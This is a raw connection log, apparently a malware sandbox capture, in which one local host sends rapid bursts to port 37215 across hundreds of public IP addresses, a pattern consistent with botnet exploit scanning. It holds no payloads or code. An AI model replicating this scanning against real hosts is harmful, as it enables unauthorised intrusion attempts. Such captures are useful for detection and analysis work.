Dec 30, 2023 07:14:03.178591967 CET	3641	37215	192.168.2.23	94.110.77.202
Dec 30, 2023 07:14:03.178591967 CET	3641	37215	192.168.2.23	197.158.247.61
Dec 30, 2023 07:14:03.178601027 CET	3641	37215	192.168.2.23	156.61.73.55
Dec 30, 2023 07:14:03.178607941 CET	3641	37215	192.168.2.23	197.32.216.69
Dec 30, 2023 07:14:03.178608894 CET	3641	37215	192.168.2.23	121.196.202.68
Dec 30, 2023 07:14:03.178610086 CET	3641	37215	192.168.2.23	190.225.24.71
Dec 30, 2023 07:14:03.178611040 CET	3641	37215	192.168.2.23	41.10.2.46
Dec 30, 2023 07:14:03.178621054 CET	3641	37215	192.168.2.23	197.78.220.62
Dec 30, 2023 07:14:03.178633928 CET	3641	37215	192.168.2.23	95.31.32.160
Dec 30, 2023 07:14:03.178637981 CET	3641	37215	192.168.2.23	156.49.120.249
Dec 30, 2023 07:14:03.178638935 CET	3641	37215	192.168.2.23	41.109.9.46
Dec 30, 2023 07:14:03.178638935 CET	3641	37215	192.168.2.23	41.126.75.237
Dec 30, 2023 07:14:03.178642988 CET	3641	37215	192.168.2.23	156.202.109.112
Dec 30, 2023 07:14:03.178642988 CET	3641	37215	192.168.2.23	197.124.101.205
Dec 30, 2023 07:14:03.178643942 CET	3641	37215	192.168.2.23	197.10.140.22
Dec 30, 2023 07:14:03.178643942 CET	3641	37215	192.168.2.23	41.23.118.71
Dec 30, 2023 07:14:03.178647041 CET	3641	37215	192.168.2.23	41.144.158.110
Dec 30, 2023 07:14:03.178648949 CET	3641	37215	192.168.2.23	156.87.90.187
Dec 30, 2023 07:14:03.178663015 CET	3641	37215	192.168.2.23	160.102.211.180
Dec 30, 2023 07:14:03.178668022 CET	3641	37215	192.168.2.23	222.50.107.122
Dec 30, 2023 07:14:03.178673029 CET	3641	37215	192.168.2.23	94.173.42.169
Dec 30, 2023 07:14:03.178678989 CET	3641	37215	192.168.2.23	95.32.145.171
Dec 30, 2023 07:14:03.178682089 CET	3641	37215	192.168.2.23	160.25.51.193
Dec 30, 2023 07:14:03.178689003 CET	3641	37215	192.168.2.23	41.185.108.38
Dec 30, 2023 07:14:03.178689003 CET	3641	37215	192.168.2.23	37.49.252.39
Dec 30, 2023 07:14:03.178689957 CET	3641	37215	192.168.2.23	107.131.108.37
Dec 30, 2023 07:14:03.178690910 CET	3641	37215	192.168.2.23	156.254.212.97
Dec 30, 2023 07:14:03.178690910 CET	3641	37215	192.168.2.23	197.115.204.90
Dec 30, 2023 07:14:03.178697109 CET	3641	37215	192.168.2.23	41.126.210.233
Dec 30, 2023 07:14:03.178700924 CET	3641	37215	192.168.2.23	41.189.175.63
Dec 30, 2023 07:14:03.178710938 CET	3641	37215	192.168.2.23	156.135.116.197
Dec 30, 2023 07:14:03.178716898 CET	3641	37215	192.168.2.23	41.100.116.218
Dec 30, 2023 07:14:03.178719044 CET	3641	37215	192.168.2.23	196.232.40.173
Dec 30, 2023 07:14:03.178719044 CET	3641	37215	192.168.2.23	197.190.86.250
Dec 30, 2023 07:14:03.178720951 CET	3641	37215	192.168.2.23	41.178.80.128
Dec 30, 2023 07:14:03.178721905 CET	3641	37215	192.168.2.23	41.75.242.117
Dec 30, 2023 07:14:03.178721905 CET	3641	37215	192.168.2.23	196.133.3.133
Dec 30, 2023 07:14:03.178730011 CET	3641	37215	192.168.2.23	197.77.29.32
Dec 30, 2023 07:14:03.178730011 CET	3641	37215	192.168.2.23	122.202.143.159
Dec 30, 2023 07:14:03.178730011 CET	3641	37215	192.168.2.23	95.74.199.159
Dec 30, 2023 07:14:03.178734064 CET	3641	37215	192.168.2.23	102.171.157.246
Dec 30, 2023 07:14:03.178735018 CET	3641	37215	192.168.2.23	41.167.10.207
Dec 30, 2023 07:14:03.178740025 CET	3641	37215	192.168.2.23	157.39.149.211
Dec 30, 2023 07:14:03.178740025 CET	3641	37215	192.168.2.23	121.74.1.3
Dec 30, 2023 07:14:03.178740025 CET	3641	37215	192.168.2.23	196.201.185.164
Dec 30, 2023 07:14:03.178742886 CET	3641	37215	192.168.2.23	138.251.160.173
Dec 30, 2023 07:14:03.178742886 CET	3641	37215	192.168.2.23	156.50.193.188
Dec 30, 2023 07:14:03.178744078 CET	3641	37215	192.168.2.23	222.236.53.193
Dec 30, 2023 07:14:03.178744078 CET	3641	37215	192.168.2.23	121.44.110.244
Dec 30, 2023 07:14:03.178751945 CET	3641	37215	192.168.2.23	196.19.184.135
Dec 30, 2023 07:14:03.178771019 CET	3641	37215	192.168.2.23	41.242.156.83
Dec 30, 2023 07:14:03.178771973 CET	3641	37215	192.168.2.23	41.213.51.249
Dec 30, 2023 07:14:03.178771973 CET	3641	37215	192.168.2.23	41.179.131.216
Dec 30, 2023 07:14:03.178771973 CET	3641	37215	192.168.2.23	41.203.181.43
Dec 30, 2023 07:14:03.178775072 CET	3641	37215	192.168.2.23	41.34.8.131
Dec 30, 2023 07:14:03.178771973 CET	3641	37215	192.168.2.23	186.66.12.241
Dec 30, 2023 07:14:03.178776026 CET	3641	37215	192.168.2.23	196.220.93.99
Dec 30, 2023 07:14:03.178771973 CET	3641	37215	192.168.2.23	156.80.171.194
Dec 30, 2023 07:14:03.178776026 CET	3641	37215	192.168.2.23	121.14.124.242
Dec 30, 2023 07:14:03.178786039 CET	3641	37215	192.168.2.23	197.36.116.205
Dec 30, 2023 07:14:03.178787947 CET	3641	37215	192.168.2.23	37.171.225.128
Dec 30, 2023 07:14:03.178793907 CET	3641	37215	192.168.2.23	156.66.123.219
Dec 30, 2023 07:14:03.178805113 CET	3641	37215	192.168.2.23	160.163.142.183
Dec 30, 2023 07:14:03.178807020 CET	3641	37215	192.168.2.23	156.127.222.207
Dec 30, 2023 07:14:03.178807020 CET	3641	37215	192.168.2.23	95.217.245.48
Dec 30, 2023 07:14:03.178814888 CET	3641	37215	192.168.2.23	156.91.98.29
Dec 30, 2023 07:14:03.178817987 CET	3641	37215	192.168.2.23	197.16.134.234
Dec 30, 2023 07:14:03.178822041 CET	3641	37215	192.168.2.23	197.0.184.228
Dec 30, 2023 07:14:03.178828955 CET	3641	37215	192.168.2.23	156.100.25.158
Dec 30, 2023 07:14:03.178832054 CET	3641	37215	192.168.2.23	122.231.207.16
Dec 30, 2023 07:14:03.178836107 CET	3641	37215	192.168.2.23	107.6.40.91
Dec 30, 2023 07:14:03.178841114 CET	3641	37215	192.168.2.23	41.111.20.87
Dec 30, 2023 07:14:03.178852081 CET	3641	37215	192.168.2.23	160.141.193.229
Dec 30, 2023 07:14:03.178854942 CET	3641	37215	192.168.2.23	41.227.57.193
Dec 30, 2023 07:14:03.178869009 CET	3641	37215	192.168.2.23	197.252.248.135
Dec 30, 2023 07:14:03.178869009 CET	3641	37215	192.168.2.23	37.28.93.134
Dec 30, 2023 07:14:03.178867102 CET	3641	37215	192.168.2.23	102.221.142.136
Dec 30, 2023 07:14:03.178877115 CET	3641	37215	192.168.2.23	190.171.231.158
Dec 30, 2023 07:14:03.178877115 CET	3641	37215	192.168.2.23	197.124.155.133
Dec 30, 2023 07:14:03.178884983 CET	3641	37215	192.168.2.23	181.89.187.243
Dec 30, 2023 07:14:03.178885937 CET	3641	37215	192.168.2.23	154.190.35.231
Dec 30, 2023 07:14:03.178885937 CET	3641	37215	192.168.2.23	197.40.102.14
Dec 30, 2023 07:14:03.178885937 CET	3641	37215	192.168.2.23	222.215.186.131
Dec 30, 2023 07:14:03.178895950 CET	3641	37215	192.168.2.23	41.124.232.170
Dec 30, 2023 07:14:03.178900003 CET	3641	37215	192.168.2.23	190.29.235.123
Dec 30, 2023 07:14:03.178905010 CET	3641	37215	192.168.2.23	197.170.171.250
Dec 30, 2023 07:14:03.178910017 CET	3641	37215	192.168.2.23	41.142.20.167
Dec 30, 2023 07:14:03.178910017 CET	3641	37215	192.168.2.23	156.128.220.239
Dec 30, 2023 07:14:03.178910017 CET	3641	37215	192.168.2.23	121.225.72.237
Dec 30, 2023 07:14:03.178926945 CET	3641	37215	192.168.2.23	95.97.34.214
Dec 30, 2023 07:14:03.178926945 CET	3641	37215	192.168.2.23	197.164.76.183
Dec 30, 2023 07:14:03.178930998 CET	3641	37215	192.168.2.23	120.83.242.127
Dec 30, 2023 07:14:03.178930998 CET	3641	37215	192.168.2.23	156.183.163.144
Dec 30, 2023 07:14:03.178935051 CET	3641	37215	192.168.2.23	41.165.98.153
Dec 30, 2023 07:14:03.178935051 CET	3641	37215	192.168.2.23	197.247.80.174
Dec 30, 2023 07:14:03.178936005 CET	3641	37215	192.168.2.23	41.173.231.131
Dec 30, 2023 07:14:03.178936958 CET	3641	37215	192.168.2.23	107.217.91.218
Dec 30, 2023 07:14:03.178952932 CET	3641	37215	192.168.2.23	197.9.105.190
Dec 30, 2023 07:14:03.178957939 CET	3641	37215	192.168.2.23	197.151.138.243
Dec 30, 2023 07:14:03.178958893 CET	3641	37215	192.168.2.23	160.17.215.38
Dec 30, 2023 07:14:03.178958893 CET	3641	37215	192.168.2.23	156.93.75.128
Dec 30, 2023 07:14:03.178961039 CET	3641	37215	192.168.2.23	156.122.110.71
Dec 30, 2023 07:14:03.178967953 CET	3641	37215	192.168.2.23	154.25.58.149
Dec 30, 2023 07:14:03.178982973 CET	3641	37215	192.168.2.23	94.141.162.147
Dec 30, 2023 07:14:03.178986073 CET	3641	37215	192.168.2.23	156.17.170.95
Dec 30, 2023 07:14:03.178987026 CET	3641	37215	192.168.2.23	121.247.23.12
Dec 30, 2023 07:14:03.178987026 CET	3641	37215	192.168.2.23	156.79.136.90
Dec 30, 2023 07:14:03.178987026 CET	3641	37215	192.168.2.23	156.168.147.243
Dec 30, 2023 07:14:03.178993940 CET	3641	37215	192.168.2.23	41.117.187.12
Dec 30, 2023 07:14:03.178989887 CET	3641	37215	192.168.2.23	156.147.24.148
Dec 30, 2023 07:14:03.179008961 CET	3641	37215	192.168.2.23	102.211.134.39
Dec 30, 2023 07:14:03.179009914 CET	3641	37215	192.168.2.23	156.214.93.194
Dec 30, 2023 07:14:03.179009914 CET	3641	37215	192.168.2.23	186.107.184.58
Dec 30, 2023 07:14:03.179011106 CET	3641	37215	192.168.2.23	197.73.73.186
Dec 30, 2023 07:14:03.179022074 CET	3641	37215	192.168.2.23	41.66.240.155
Dec 30, 2023 07:14:03.179028034 CET	3641	37215	192.168.2.23	41.96.129.30
Dec 30, 2023 07:14:03.179030895 CET	3641	37215	192.168.2.23	120.126.116.173
Dec 30, 2023 07:14:03.179035902 CET	3641	37215	192.168.2.23	196.111.95.111
Dec 30, 2023 07:14:03.179044008 CET	3641	37215	192.168.2.23	95.71.106.193
Dec 30, 2023 07:14:03.179044962 CET	3641	37215	192.168.2.23	41.93.46.94
Dec 30, 2023 07:14:03.179049969 CET	3641	37215	192.168.2.23	197.125.21.203
Dec 30, 2023 07:14:03.179049969 CET	3641	37215	192.168.2.23	102.226.226.31
Dec 30, 2023 07:14:03.179053068 CET	3641	37215	192.168.2.23	197.72.51.77
Dec 30, 2023 07:14:03.179059982 CET	3641	37215	192.168.2.23	41.114.28.140
Dec 30, 2023 07:14:03.179059982 CET	3641	37215	192.168.2.23	41.87.126.147
Dec 30, 2023 07:14:03.179071903 CET	3641	37215	192.168.2.23	197.157.109.229
Dec 30, 2023 07:14:03.179079056 CET	3641	37215	192.168.2.23	156.36.37.91
Dec 30, 2023 07:14:03.179081917 CET	3641	37215	192.168.2.23	156.13.196.203
Dec 30, 2023 07:14:03.179083109 CET	3641	37215	192.168.2.23	160.132.12.117
Dec 30, 2023 07:14:03.179090023 CET	3641	37215	192.168.2.23	156.226.192.105
Dec 30, 2023 07:14:03.179091930 CET	3641	37215	192.168.2.23	160.71.34.235
Dec 30, 2023 07:14:03.179100990 CET	3641	37215	192.168.2.23	186.247.190.145
Dec 30, 2023 07:14:03.179105997 CET	3641	37215	192.168.2.23	156.69.90.143
Dec 30, 2023 07:14:03.179122925 CET	3641	37215	192.168.2.23	92.30.70.157
Dec 30, 2023 07:14:03.179122925 CET	3641	37215	192.168.2.23	197.111.200.5
Dec 30, 2023 07:14:03.179122925 CET	3641	37215	192.168.2.23	102.164.97.141
Dec 30, 2023 07:14:03.179126024 CET	3641	37215	192.168.2.23	156.97.13.211
Dec 30, 2023 07:14:03.179126978 CET	3641	37215	192.168.2.23	120.47.253.251
Dec 30, 2023 07:14:03.179127932 CET	3641	37215	192.168.2.23	190.81.98.214
Dec 30, 2023 07:14:03.179127932 CET	3641	37215	192.168.2.23	197.175.21.15
Dec 30, 2023 07:14:03.179141045 CET	3641	37215	192.168.2.23	41.130.36.93
Dec 30, 2023 07:14:03.179141045 CET	3641	37215	192.168.2.23	45.244.216.81
Dec 30, 2023 07:14:03.179147959 CET	3641	37215	192.168.2.23	197.253.8.230
Dec 30, 2023 07:14:03.179152012 CET	3641	37215	192.168.2.23	156.247.110.128
Dec 30, 2023 07:14:03.179152012 CET	3641	37215	192.168.2.23	197.74.90.111
Dec 30, 2023 07:14:03.179152966 CET	3641	37215	192.168.2.23	154.250.51.198
Dec 30, 2023 07:14:03.179153919 CET	3641	37215	192.168.2.23	41.209.81.16
Dec 30, 2023 07:14:03.179167032 CET	3641	37215	192.168.2.23	41.217.37.164
Dec 30, 2023 07:14:03.179168940 CET	3641	37215	192.168.2.23	92.127.25.79
Dec 30, 2023 07:14:03.179171085 CET	3641	37215	192.168.2.23	197.21.233.13
Dec 30, 2023 07:14:03.179171085 CET	3641	37215	192.168.2.23	181.165.250.207
Dec 30, 2023 07:14:03.179176092 CET	3641	37215	192.168.2.23	156.223.132.224
Dec 30, 2023 07:14:03.179178953 CET	3641	37215	192.168.2.23	92.50.4.168
Dec 30, 2023 07:14:03.179187059 CET	3641	37215	192.168.2.23	41.74.85.44
Dec 30, 2023 07:14:03.179187059 CET	3641	37215	192.168.2.23	197.64.232.71
Dec 30, 2023 07:14:03.179187059 CET	3641	37215	192.168.2.23	156.102.240.90
Dec 30, 2023 07:14:03.179188967 CET	3641	37215	192.168.2.23	102.81.239.218
Dec 30, 2023 07:14:03.179199934 CET	3641	37215	192.168.2.23	121.12.112.138
Dec 30, 2023 07:14:03.179203033 CET	3641	37215	192.168.2.23	156.61.78.175
Dec 30, 2023 07:14:03.179204941 CET	3641	37215	192.168.2.23	94.76.8.123
Dec 30, 2023 07:14:03.179205894 CET	3641	37215	192.168.2.23	186.143.2.48
Dec 30, 2023 07:14:03.179215908 CET	3641	37215	192.168.2.23	156.61.140.44
Dec 30, 2023 07:14:03.179220915 CET	3641	37215	192.168.2.23	156.57.187.20
Dec 30, 2023 07:14:03.179224968 CET	3641	37215	192.168.2.23	157.202.102.247
Dec 30, 2023 07:14:03.179228067 CET	3641	37215	192.168.2.23	156.33.220.233
Dec 30, 2023 07:14:03.179231882 CET	3641	37215	192.168.2.23	41.138.120.221
Dec 30, 2023 07:14:03.179234028 CET	3641	37215	192.168.2.23	41.26.193.203
Dec 30, 2023 07:14:03.179245949 CET	3641	37215	192.168.2.23	156.158.233.77
Dec 30, 2023 07:14:03.179250956 CET	3641	37215	192.168.2.23	122.160.239.176
Dec 30, 2023 07:14:03.179255009 CET	3641	37215	192.168.2.23	41.117.224.213
Dec 30, 2023 07:14:03.179261923 CET	3641	37215	192.168.2.23	197.41.81.24
Dec 30, 2023 07:14:03.179265022 CET	3641	37215	192.168.2.23	37.40.101.245
Dec 30, 2023 07:14:03.179265976 CET	3641	37215	192.168.2.23	154.104.39.238
Dec 30, 2023 07:14:03.179275990 CET	3641	37215	192.168.2.23	156.247.88.41
Dec 30, 2023 07:14:03.179280043 CET	3641	37215	192.168.2.23	156.24.37.155
Dec 30, 2023 07:14:03.179280043 CET	3641	37215	192.168.2.23	197.102.127.186
Dec 30, 2023 07:14:03.179295063 CET	3641	37215	192.168.2.23	94.199.162.240
Dec 30, 2023 07:14:03.179295063 CET	3641	37215	192.168.2.23	156.190.203.77
Dec 30, 2023 07:14:03.179300070 CET	3641	37215	192.168.2.23	160.245.226.11
Dec 30, 2023 07:14:03.179303885 CET	3641	37215	192.168.2.23	156.33.174.20
Dec 30, 2023 07:14:03.179305077 CET	3641	37215	192.168.2.23	156.146.139.151
Dec 30, 2023 07:14:03.179316998 CET	3641	37215	192.168.2.23	190.203.160.151
Dec 30, 2023 07:14:03.179318905 CET	3641	37215	192.168.2.23	41.55.228.117
Dec 30, 2023 07:14:03.179316998 CET	3641	37215	192.168.2.23	197.170.106.85
Dec 30, 2023 07:14:03.179332972 CET	3641	37215	192.168.2.23	92.179.82.27
Dec 30, 2023 07:14:03.179336071 CET	3641	37215	192.168.2.23	41.224.155.30
Dec 30, 2023 07:14:03.179332972 CET	3641	37215	192.168.2.23	41.243.46.35
Dec 30, 2023 07:14:03.179332972 CET	3641	37215	192.168.2.23	156.28.59.64
Dec 30, 2023 07:14:03.179339886 CET	3641	37215	192.168.2.23	186.34.64.169
Dec 30, 2023 07:14:03.179344893 CET	3641	37215	192.168.2.23	197.69.6.118
Dec 30, 2023 07:14:03.179344893 CET	3641	37215	192.168.2.23	197.58.13.181
Dec 30, 2023 07:14:03.179346085 CET	3641	37215	192.168.2.23	45.169.234.50
Dec 30, 2023 07:14:03.179346085 CET	3641	37215	192.168.2.23	197.197.131.47
Dec 30, 2023 07:14:03.179344893 CET	3641	37215	192.168.2.23	92.226.204.119
Dec 30, 2023 07:14:03.179348946 CET	3641	37215	192.168.2.23	181.61.228.122
Dec 30, 2023 07:14:03.179348946 CET	3641	37215	192.168.2.23	197.1.69.132
Dec 30, 2023 07:14:03.179351091 CET	3641	37215	192.168.2.23	154.73.234.35
Dec 30, 2023 07:14:03.179352999 CET	3641	37215	192.168.2.23	107.243.171.189
Dec 30, 2023 07:14:03.179352999 CET	3641	37215	192.168.2.23	197.238.201.93
Dec 30, 2023 07:14:03.179353952 CET	3641	37215	192.168.2.23	197.85.208.189
Dec 30, 2023 07:14:03.179352999 CET	3641	37215	192.168.2.23	41.100.233.231
Dec 30, 2023 07:14:03.179353952 CET	3641	37215	192.168.2.23	197.187.29.13
Dec 30, 2023 07:14:03.179352999 CET	3641	37215	192.168.2.23	222.188.78.35
Dec 30, 2023 07:14:03.179363966 CET	3641	37215	192.168.2.23	41.29.160.36
Dec 30, 2023 07:14:03.179373026 CET	3641	37215	192.168.2.23	197.141.16.189
Dec 30, 2023 07:14:03.179373980 CET	3641	37215	192.168.2.23	41.91.87.171
Dec 30, 2023 07:14:03.179383993 CET	3641	37215	192.168.2.23	41.113.173.39
Dec 30, 2023 07:14:03.179384947 CET	3641	37215	192.168.2.23	102.187.207.33
Dec 30, 2023 07:14:03.179384947 CET	3641	37215	192.168.2.23	197.108.179.12
Dec 30, 2023 07:14:03.179384947 CET	3641	37215	192.168.2.23	41.214.135.116
Dec 30, 2023 07:14:03.179385900 CET	3641	37215	192.168.2.23	41.148.147.179
Dec 30, 2023 07:14:03.179385900 CET	3641	37215	192.168.2.23	197.53.112.210
Dec 30, 2023 07:14:03.179385900 CET	3641	37215	192.168.2.23	156.181.78.184
Dec 30, 2023 07:14:03.179385900 CET	3641	37215	192.168.2.23	120.245.217.87
Dec 30, 2023 07:14:03.179389954 CET	3641	37215	192.168.2.23	41.214.138.84
Dec 30, 2023 07:14:03.179389954 CET	3641	37215	192.168.2.23	197.110.197.236
Dec 30, 2023 07:14:03.179389954 CET	3641	37215	192.168.2.23	156.50.9.211
Dec 30, 2023 07:14:03.179392099 CET	3641	37215	192.168.2.23	41.49.100.158
Dec 30, 2023 07:14:03.179392099 CET	3641	37215	192.168.2.23	41.248.85.189
Dec 30, 2023 07:14:03.179409981 CET	3641	37215	192.168.2.23	41.227.86.56
Dec 30, 2023 07:14:03.179413080 CET	3641	37215	192.168.2.23	197.169.232.248
Dec 30, 2023 07:14:03.179414034 CET	3641	37215	192.168.2.23	156.56.52.115
Dec 30, 2023 07:14:03.179414034 CET	3641	37215	192.168.2.23	41.91.127.118
Dec 30, 2023 07:14:03.179425001 CET	3641	37215	192.168.2.23	94.166.149.19
Dec 30, 2023 07:14:03.179425001 CET	3641	37215	192.168.2.23	156.4.80.17
Dec 30, 2023 07:14:03.179429054 CET	3641	37215	192.168.2.23	92.96.7.51
Dec 30, 2023 07:14:03.179429054 CET	3641	37215	192.168.2.23	156.100.87.42
Dec 30, 2023 07:14:03.179430962 CET	3641	37215	192.168.2.23	156.165.104.27
Dec 30, 2023 07:14:03.179430962 CET	3641	37215	192.168.2.23	197.247.40.209
Dec 30, 2023 07:14:03.179444075 CET	3641	37215	192.168.2.23	196.19.188.22
Dec 30, 2023 07:14:03.179445982 CET	3641	37215	192.168.2.23	156.155.78.97
Dec 30, 2023 07:14:03.179446936 CET	3641	37215	192.168.2.23	41.15.143.71
Dec 30, 2023 07:14:03.179455996 CET	3641	37215	192.168.2.23	94.182.173.217
Dec 30, 2023 07:14:03.179466009 CET	3641	37215	192.168.2.23	41.127.107.52
Dec 30, 2023 07:14:03.179466009 CET	3641	37215	192.168.2.23	41.207.184.255
Dec 30, 2023 07:14:03.179466009 CET	3641	37215	192.168.2.23	156.5.157.15
Dec 30, 2023 07:14:03.179470062 CET	3641	37215	192.168.2.23	157.128.153.158
Dec 30, 2023 07:14:03.179476976 CET	3641	37215	192.168.2.23	154.44.168.98
Dec 30, 2023 07:14:03.179485083 CET	3641	37215	192.168.2.23	197.66.0.42
Dec 30, 2023 07:14:03.179487944 CET	3641	37215	192.168.2.23	37.81.59.245
Dec 30, 2023 07:14:03.179490089 CET	3641	37215	192.168.2.23	121.141.36.52
Dec 30, 2023 07:14:03.179490089 CET	3641	37215	192.168.2.23	156.214.133.62
Dec 30, 2023 07:14:03.179507971 CET	3641	37215	192.168.2.23	107.1.105.240
Dec 30, 2023 07:14:03.179511070 CET	3641	37215	192.168.2.23	41.128.143.65
Dec 30, 2023 07:14:03.179511070 CET	3641	37215	192.168.2.23	95.5.178.133
Dec 30, 2023 07:14:03.179516077 CET	3641	37215	192.168.2.23	102.159.89.106
Dec 30, 2023 07:14:03.179516077 CET	3641	37215	192.168.2.23	156.94.68.232
Dec 30, 2023 07:14:03.179517031 CET	3641	37215	192.168.2.23	41.65.144.81
Dec 30, 2023 07:14:03.179519892 CET	3641	37215	192.168.2.23	197.118.26.209
Dec 30, 2023 07:14:03.179533005 CET	3641	37215	192.168.2.23	41.134.227.170
Dec 30, 2023 07:14:03.179541111 CET	3641	37215	192.168.2.23	156.240.157.16
Dec 30, 2023 07:14:03.179542065 CET	3641	37215	192.168.2.23	37.4.7.240
Dec 30, 2023 07:14:03.179542065 CET	3641	37215	192.168.2.23	41.254.79.205
Dec 30, 2023 07:14:03.179543972 CET	3641	37215	192.168.2.23	120.194.7.42
Dec 30, 2023 07:14:03.179543972 CET	3641	37215	192.168.2.23	197.133.8.245
Dec 30, 2023 07:14:03.179557085 CET	3641	37215	192.168.2.23	41.46.61.183
Dec 30, 2023 07:14:03.179557085 CET	3641	37215	192.168.2.23	197.122.54.73
Dec 30, 2023 07:14:03.179557085 CET	3641	37215	192.168.2.23	102.161.6.62
Dec 30, 2023 07:14:03.179557085 CET	3641	37215	192.168.2.23	160.192.216.46
Dec 30, 2023 07:14:03.179558992 CET	3641	37215	192.168.2.23	120.214.75.159
Dec 30, 2023 07:14:03.179557085 CET	3641	37215	192.168.2.23	197.118.11.62
Dec 30, 2023 07:14:03.179559946 CET	3641	37215	192.168.2.23	92.113.20.121
Dec 30, 2023 07:14:03.179559946 CET	3641	37215	192.168.2.23	41.113.177.167
Dec 30, 2023 07:14:03.179559946 CET	3641	37215	192.168.2.23	197.107.31.190
Dec 30, 2023 07:14:03.179563999 CET	3641	37215	192.168.2.23	197.115.156.127
Dec 30, 2023 07:14:03.179564953 CET	3641	37215	192.168.2.23	197.205.245.236
Dec 30, 2023 07:14:03.179563999 CET	3641	37215	192.168.2.23	160.255.250.102
Dec 30, 2023 07:14:03.179563999 CET	3641	37215	192.168.2.23	41.34.73.83
Dec 30, 2023 07:14:03.179563999 CET	3641	37215	192.168.2.23	197.18.179.48
Dec 30, 2023 07:14:03.179563999 CET	3641	37215	192.168.2.23	120.47.181.36
Dec 30, 2023 07:14:03.179574013 CET	3641	37215	192.168.2.23	41.209.37.66
Dec 30, 2023 07:14:03.179577112 CET	3641	37215	192.168.2.23	156.46.223.209
Dec 30, 2023 07:14:03.179577112 CET	3641	37215	192.168.2.23	41.141.68.49
Dec 30, 2023 07:14:03.179577112 CET	3641	37215	192.168.2.23	41.105.155.136
Dec 30, 2023 07:14:03.179584980 CET	3641	37215	192.168.2.23	156.66.227.123
Dec 30, 2023 07:14:03.179589033 CET	3641	37215	192.168.2.23	122.199.161.69
Dec 30, 2023 07:14:03.179589033 CET	3641	37215	192.168.2.23	197.2.91.173
Dec 30, 2023 07:14:03.179591894 CET	3641	37215	192.168.2.23	41.52.25.88
Dec 30, 2023 07:14:03.179594040 CET	3641	37215	192.168.2.23	95.94.223.202
Dec 30, 2023 07:14:03.179603100 CET	3641	37215	192.168.2.23	197.119.208.69
Dec 30, 2023 07:14:03.179606915 CET	3641	37215	192.168.2.23	181.122.4.138
Dec 30, 2023 07:14:03.179614067 CET	3641	37215	192.168.2.23	181.60.139.77
Dec 30, 2023 07:14:03.179615021 CET	3641	37215	192.168.2.23	156.144.172.148
Dec 30, 2023 07:14:03.179615021 CET	3641	37215	192.168.2.23	197.223.190.135
Dec 30, 2023 07:14:03.179616928 CET	3641	37215	192.168.2.23	156.203.113.133
Dec 30, 2023 07:14:03.179622889 CET	3641	37215	192.168.2.23	41.68.252.77
Dec 30, 2023 07:14:03.179626942 CET	3641	37215	192.168.2.23	156.5.30.74
Dec 30, 2023 07:14:03.179626942 CET	3641	37215	192.168.2.23	156.253.42.207
Dec 30, 2023 07:14:03.179641008 CET	3641	37215	192.168.2.23	102.217.140.86
Dec 30, 2023 07:14:03.179641008 CET	3641	37215	192.168.2.23	186.19.17.160
Dec 30, 2023 07:14:03.179642916 CET	3641	37215	192.168.2.23	41.237.31.159
Dec 30, 2023 07:14:03.179642916 CET	3641	37215	192.168.2.23	92.222.253.223
Dec 30, 2023 07:14:03.179644108 CET	3641	37215	192.168.2.23	197.112.8.227
Dec 30, 2023 07:14:03.179644108 CET	3641	37215	192.168.2.23	196.251.167.47
Dec 30, 2023 07:14:03.179646969 CET	3641	37215	192.168.2.23	160.184.169.19
Dec 30, 2023 07:14:03.179653883 CET	3641	37215	192.168.2.23	41.116.118.23
Dec 30, 2023 07:14:03.179655075 CET	3641	37215	192.168.2.23	156.52.251.246
Dec 30, 2023 07:14:03.179656029 CET	3641	37215	192.168.2.23	41.232.36.204
Dec 30, 2023 07:14:03.179656029 CET	3641	37215	192.168.2.23	41.198.37.119
Dec 30, 2023 07:14:03.179657936 CET	3641	37215	192.168.2.23	41.206.65.198
Dec 30, 2023 07:14:03.179657936 CET	3641	37215	192.168.2.23	156.39.24.117
Dec 30, 2023 07:14:03.179657936 CET	3641	37215	192.168.2.23	41.211.213.0
Dec 30, 2023 07:14:03.179657936 CET	3641	37215	192.168.2.23	41.83.211.23
Dec 30, 2023 07:14:03.179661989 CET	3641	37215	192.168.2.23	41.67.91.83
Dec 30, 2023 07:14:03.179670095 CET	3641	37215	192.168.2.23	41.79.101.191
Dec 30, 2023 07:14:03.179680109 CET	3641	37215	192.168.2.23	41.79.137.23
Dec 30, 2023 07:14:03.179681063 CET	3641	37215	192.168.2.23	154.107.1.179
Dec 30, 2023 07:14:03.179681063 CET	3641	37215	192.168.2.23	92.208.194.119
Dec 30, 2023 07:14:03.179692030 CET	3641	37215	192.168.2.23	156.232.214.73
Dec 30, 2023 07:14:03.179694891 CET	3641	37215	192.168.2.23	41.76.169.84
Dec 30, 2023 07:14:03.179697990 CET	3641	37215	192.168.2.23	156.12.211.40
Dec 30, 2023 07:14:03.179697990 CET	3641	37215	192.168.2.23	197.61.219.65
Dec 30, 2023 07:14:03.179717064 CET	3641	37215	192.168.2.23	121.4.84.147
Dec 30, 2023 07:14:03.179717064 CET	3641	37215	192.168.2.23	45.227.211.112
Dec 30, 2023 07:14:03.179718971 CET	3641	37215	192.168.2.23	222.250.10.194
Dec 30, 2023 07:14:03.179722071 CET	3641	37215	192.168.2.23	197.92.73.17
Dec 30, 2023 07:14:03.179733992 CET	3641	37215	192.168.2.23	197.90.186.4
Dec 30, 2023 07:14:03.179735899 CET	3641	37215	192.168.2.23	121.36.128.134
Dec 30, 2023 07:14:03.179738045 CET	3641	37215	192.168.2.23	156.79.28.21
Dec 30, 2023 07:14:03.179743052 CET	3641	37215	192.168.2.23	156.219.79.244
Dec 30, 2023 07:14:03.179743052 CET	3641	37215	192.168.2.23	197.120.51.191
Dec 30, 2023 07:14:03.179743052 CET	3641	37215	192.168.2.23	156.107.178.225
Dec 30, 2023 07:14:03.179745913 CET	3641	37215	192.168.2.23	160.171.13.57
Dec 30, 2023 07:14:03.179754019 CET	3641	37215	192.168.2.23	41.21.105.96
Dec 30, 2023 07:14:03.179764032 CET	3641	37215	192.168.2.23	41.69.211.232
Dec 30, 2023 07:14:03.179764986 CET	3641	37215	192.168.2.23	102.123.233.221
Dec 30, 2023 07:14:03.179768085 CET	3641	37215	192.168.2.23	156.117.220.218
Dec 30, 2023 07:14:03.179879904 CET	45640	37215	192.168.2.23	156.73.72.49
Dec 30, 2023 07:14:03.302939892 CET	37215	3641	156.77.139.97	192.168.2.23
Dec 30, 2023 07:14:03.303034067 CET	3641	37215	192.168.2.23	156.77.139.97
Dec 30, 2023 07:14:03.319694996 CET	37215	3641	107.91.175.114	192.168.2.23
Dec 30, 2023 07:14:03.457519054 CET	37215	3641	94.120.30.108	192.168.2.23
Dec 30, 2023 07:14:03.457581997 CET	3641	37215	192.168.2.23	94.120.30.108
